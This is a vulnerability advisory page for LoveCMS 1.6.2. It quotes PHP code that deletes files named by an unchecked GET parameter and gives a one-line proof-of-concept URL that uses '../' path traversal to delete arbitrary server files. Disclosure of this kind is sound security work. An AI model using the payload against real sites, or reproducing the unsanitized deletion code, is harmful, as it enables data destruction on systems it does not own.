LoveCMS 1.6.2 Final Arbitrary File Delete Vulnerability

2009.01.02
Credit: cOndmened
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-22


Ogólna skala CVSS: 5/10
Znaczenie: 2.9/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Brak
Wpływ na integralność: Brak
Wpływ na dostępność: Częściowy

+-------------------------------------------------------------------------------------------------------+ | | | Name : LoveCMS 1.6.2 Final Arbitrary File Delete Vulnerability | | Author : cOndmened | | Greetz : ZaBeaTy, rtgn, doctor, elmasterlow, str0ke, t0pP8uZz & all friends | | Details : Ofc, we can only delete files from places that we have permission | | to access x] | | | +-------------------------------------------------------------------------------------------------------+ source of/lovecms/system/admin/images.php 41. if($_GET['delete']) 42. { 43. $filename = $_GET['delete']; 44. $sql = $db -> db_query("DELETE FROM " . DB_PREFIX . "images 45. WHERE filename = '$filename'"); 46. 47. unlink(LOVE_ROOT . '/uploads/' . $filename); 48. unlink(LOVE_ROOT . '/uploads/thumbs/' . $filename); 49. 50. redirect_with_message('msg', 'LANG_088'); 51. } Description : 41. name of file to delete is being sended using GET method in variable called 'delete' 47. here the requested file is being erased rest of the code block doesn't matters Proof of concept : http://[host]/[loveCMS-path]/system/admin/images.php?delete=../../../[local-file]


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top